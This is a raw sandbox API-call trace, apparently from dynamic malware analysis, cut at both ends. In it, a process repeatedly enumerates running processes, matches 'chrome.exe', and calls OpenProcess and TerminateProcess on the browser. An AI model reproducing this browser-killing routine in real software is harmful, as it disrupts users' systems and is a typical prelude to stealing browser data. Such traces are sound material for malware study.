hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="beat.exe")) returned 1 [0118.253] lstrcmpiW (lpString1="beat.exe", lpString2="chrome.exe") returned -1 [0118.253] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="refers.exe")) returned 1 [0118.254] lstrcmpiW (lpString1="refers.exe", lpString2="chrome.exe") returned 1 [0118.254] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="additions.exe")) returned 1 [0118.255] lstrcmpiW (lpString1="additions.exe", lpString2="chrome.exe") returned -1 [0118.255] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="clusters attack.exe")) returned 1 [0118.273] lstrcmpiW (lpString1="clusters attack.exe", lpString2="chrome.exe") returned 1 [0118.273] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="oriental.exe")) returned 1 [0118.275] lstrcmpiW (lpString1="oriental.exe", lpString2="chrome.exe") returned 1 [0118.275] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="protective quite sessions.exe")) returned 1 [0118.276] lstrcmpiW (lpString1="protective quite sessions.exe", lpString2="chrome.exe") returned 1 [0118.276] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="mumbai.exe")) returned 1 [0118.277] lstrcmpiW (lpString1="mumbai.exe", lpString2="chrome.exe") returned 1 [0118.277] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ps-workstation.exe")) returned 1 [0118.278] lstrcmpiW (lpString1="ps-workstation.exe", lpString2="chrome.exe") returned 1 [0118.278] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="today.exe")) returned 1 [0118.279] lstrcmpiW (lpString1="today.exe", lpString2="chrome.exe") returned 1 [0118.279] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dishesproductioncottage.exe")) returned 1 [0118.280] lstrcmpiW (lpString1="dishesproductioncottage.exe", lpString2="chrome.exe") returned 1 [0118.280] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="unfortunatelyafterwardsemission.exe")) returned 1 [0118.282] lstrcmpiW (lpString1="unfortunatelyafterwardsemission.exe", lpString2="chrome.exe") returned 1 [0118.282] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="weblogs-waters.exe")) returned 1 [0118.283] lstrcmpiW (lpString1="weblogs-waters.exe", lpString2="chrome.exe") returned 1 [0118.283] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x238, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1 [0118.284] lstrcmpiW (lpString1="plaintiff.exe", lpString2="chrome.exe") returned 1 [0118.284] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensborooregon.exe")) returned 1 [0118.285] lstrcmpiW (lpString1="greensborooregon.exe", lpString2="chrome.exe") returned 1 [0118.285] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chartspresently.exe")) returned 1 [0118.286] lstrcmpiW (lpString1="chartspresently.exe", lpString2="chrome.exe") returned -1 [0118.286] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ir grey.exe")) returned 1 [0118.287] lstrcmpiW (lpString1="ir grey.exe", lpString2="chrome.exe") returned 1 [0118.287] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="know.exe")) returned 1 [0118.288] lstrcmpiW (lpString1="know.exe", lpString2="chrome.exe") returned 1 [0118.289] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement_float_disability.exe")) returned 1 [0118.290] lstrcmpiW (lpString1="requirement_float_disability.exe", lpString2="chrome.exe") returned 1 [0118.290] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="licenses_miss.exe")) returned 1 [0118.291] lstrcmpiW (lpString1="licenses_miss.exe", lpString2="chrome.exe") returned 1 [0118.291] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0118.292] lstrcmpiW (lpString1="WmiPrvSE.exe", lpString2="chrome.exe") returned 1 [0118.292] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0118.293] lstrcmpiW (lpString1="iexplore.exe", lpString2="chrome.exe") returned 1 [0118.293] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome.exe")) returned 1 [0118.294] lstrcmpiW (lpString1="chrome.exe", lpString2="chrome.exe") returned 0 [0118.294] CloseHandle (hObject=0xa90) returned 1 [0118.294] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xb70) returned 0xa90 [0118.294] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 [0118.294] TerminateProcess (hProcess=0xa90, uExitCode=0x0) returned 0 [0118.295] CloseHandle (hObject=0xa90) returned 1 [0118.295] lstrlenA (lpString="chrome.exe") returned 10 [0118.295] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x16) returned 0x9b6dc50 [0118.295] mbstowcs (in: _Dest=0x9b6dc50, _Source="chrome.exe", _MaxCount=0xb | out: _Dest="chrome.exe") returned 0xa [0118.295] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0118.299] Process32FirstW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.300] lstrcmpiW (lpString1="[System Process]", lpString2="chrome.exe") returned -1 [0118.300] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0118.301] lstrcmpiW (lpString1="System", lpString2="chrome.exe") returned 1 [0118.301] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0118.302] lstrcmpiW (lpString1="smss.exe", lpString2="chrome.exe") returned 1 [0118.302] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.303] lstrcmpiW (lpString1="csrss.exe", lpString2="chrome.exe") returned 1 [0118.303] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0118.304] lstrcmpiW (lpString1="wininit.exe", lpString2="chrome.exe") returned 1 [0118.304] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.306] lstrcmpiW (lpString1="csrss.exe", lpString2="chrome.exe") returned 1 [0118.306] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0118.307] lstrcmpiW (lpString1="winlogon.exe", lpString2="chrome.exe") returned 1 [0118.307] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0118.308] lstrcmpiW (lpString1="services.exe", lpString2="chrome.exe") returned 1 [0118.308] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0118.309] lstrcmpiW (lpString1="lsass.exe", lpString2="chrome.exe") returned 1 [0118.309] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0118.310] lstrcmpiW (lpString1="lsm.exe", lpString2="chrome.exe") returned 1 [0118.310] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.311] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.311] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.312] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.312] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.314] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.314] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.315] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.315] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.316] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.316] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0118.317] lstrcmpiW (lpString1="audiodg.exe", lpString2="chrome.exe") returned -1 [0118.317] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.330] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.332] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.358] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.358] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0118.359] lstrcmpiW (lpString1="dwm.exe", lpString2="chrome.exe") returned 1 [0118.359] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0118.360] lstrcmpiW (lpString1="explorer.exe", lpString2="chrome.exe") returned 1 [0118.360] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0118.361] lstrcmpiW (lpString1="spoolsv.exe", lpString2="chrome.exe") returned 1 [0118.361] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.362] lstrcmpiW (lpString1="taskhost.exe", lpString2="chrome.exe") returned 1 [0118.363] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.364] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.364] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0118.365] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="chrome.exe") returned 1 [0118.365] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.366] lstrcmpiW (lpString1="taskeng.exe", lpString2="chrome.exe") returned 1 [0118.366] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0118.367] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="chrome.exe") returned 1 [0118.367] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.368] lstrcmpiW (lpString1="taskhost.exe", lpString2="chrome.exe") returned 1 [0118.368] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nr nutrition.exe")) returned 1 [0118.369] lstrcmpiW (lpString1="nr nutrition.exe", lpString2="chrome.exe") returned 1 [0118.369] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="beat.exe")) returned 1 [0118.371] lstrcmpiW (lpString1="beat.exe", lpString2="chrome.exe") returned -1 [0118.371] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="refers.exe")) returned 1 [0118.372] lstrcmpiW (lpString1="refers.exe", lpString2="chrome.exe") returned 1 [0118.372] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="additions.exe")) returned 1 [0118.373] lstrcmpiW (lpString1="additions.exe", lpString2="chrome.exe") returned -1 [0118.373] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="clusters attack.exe")) returned 1 [0118.374] lstrcmpiW (lpString1="clusters attack.exe", lpString2="chrome.exe") returned 1 [0118.374] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="oriental.exe")) returned 1 [0118.375] lstrcmpiW (lpString1="oriental.exe", lpString2="chrome.exe") returned 1 [0118.375] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="protective quite sessions.exe")) returned 1 [0118.376] lstrcmpiW (lpString1="protective quite sessions.exe", lpString2="chrome.exe") returned 1 [0118.376] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="mumbai.exe")) returned 1 [0118.377] lstrcmpiW (lpString1="mumbai.exe", lpString2="chrome.exe") returned 1 [0118.378] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ps-workstation.exe")) returned 1 [0118.379] lstrcmpiW (lpString1="ps-workstation.exe", lpString2="chrome.exe") returned 1 [0118.379] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="today.exe")) returned 1 [0118.380] lstrcmpiW (lpString1="today.exe", lpString2="chrome.exe") returned 1 [0118.380] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dishesproductioncottage.exe")) returned 1 [0118.382] lstrcmpiW (lpString1="dishesproductioncottage.exe", lpString2="chrome.exe") returned 1 [0118.382] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="unfortunatelyafterwardsemission.exe")) returned 1 [0118.383] lstrcmpiW (lpString1="unfortunatelyafterwardsemission.exe", lpString2="chrome.exe") returned 1 [0118.383] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="weblogs-waters.exe")) returned 1 [0118.384] lstrcmpiW (lpString1="weblogs-waters.exe", lpString2="chrome.exe") returned 1 [0118.384] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x238, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1 [0118.385] lstrcmpiW (lpString1="plaintiff.exe", lpString2="chrome.exe") returned 1 [0118.385] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensborooregon.exe")) returned 1 [0118.387] lstrcmpiW (lpString1="greensborooregon.exe", lpString2="chrome.exe") returned 1 [0118.387] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chartspresently.exe")) returned 